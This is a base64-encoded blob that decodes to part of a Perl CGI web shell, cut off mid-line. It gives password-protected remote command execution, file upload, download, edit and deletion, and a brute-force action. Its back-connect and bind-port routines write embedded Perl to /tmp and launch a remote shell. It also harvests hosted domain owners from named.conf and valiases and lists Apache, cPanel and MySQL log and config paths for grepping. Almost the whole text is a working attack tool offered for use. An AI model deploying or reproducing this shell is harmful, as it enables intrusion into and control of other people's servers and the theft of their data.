Cgl7CgkJcmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKCWlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQp9CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsKCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAuJENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmlsZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4gIiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsKCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgVHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOwoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOwoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAoKTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsKCQlteSAkc3R5bGU9Im5vdGxpbmUiOwoJCW15ICRpPTA7CgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW1lPSRkOwoJCQlpZigkZCBlcSAiLi4iKSAKCQkJewoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigkZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVsc2UgCgkJCXsKCQkJCSRkID0gJHBhdGguJGQ7CgkJCX0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPldhcm5pbmcgISBTaGVsbCBpcyB1c2VkIHRvIHJlZmVyIG5vdCB0byBoYWNrPC9mb250PjwvaDM+IjsKCWlmICgkZXJyKQoJewoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOwoJCXJldHVybiAkcmVzdWx0OwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsKCX0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpCgl7CgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykKCQl7CQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZmlsZW5hbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIi4kMSk7CgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOwoJCX0KCX0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBWaWV3IExvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3TG9nCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCWlmKCRXaW5OVCkKCXsKCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOwoJfQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsKCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mJywKCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLAoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLAoJCQknL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsZGVycm9yLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLAoJCQknL3Zhci9teXNxbC5sb2cnLAoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXkuY25mJywKCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC1yICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJfQoJCSRyZXN1bHQgLj08PEVORDsKCQk8dHI+CgoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImxvZyRpIiBuYW1lPSJjIiB2YWx1ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9ob21lJyIgc2l6ZT0nNTAnLz48L3RkPgoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5CnsKCSZQcmludFBhZ2VIZWFkZXIoImQiKTsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCRjaG1vZCBuZSAwKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQlpZihjaG1vZCgkY2htb2QsJGZpbGUpKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZigkcmVuYW1lIG5lICIiKQoJewoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQoJCXsKCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCX1lbHNlCgkJewoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCX0KCX0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsKCWlmKCRyZW1vdmUgbmUgIiIpCgl7CgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsKCQlpZigtZCAkcm0pCgkJewoJCQkmUm1EaXIoJHJtKTsKCQl9ZWxzZQoJCXsKCQkJaWYodW5saW5rKCRybSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQkJCQoJCX0KCX0KCXByaW50ICZMaXN0RGlyOwoKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQoJewoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCX1lbHNlCgl7CgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCX0KCXByaW50ICZMaXN0RGlyOwp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmVXBsb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZ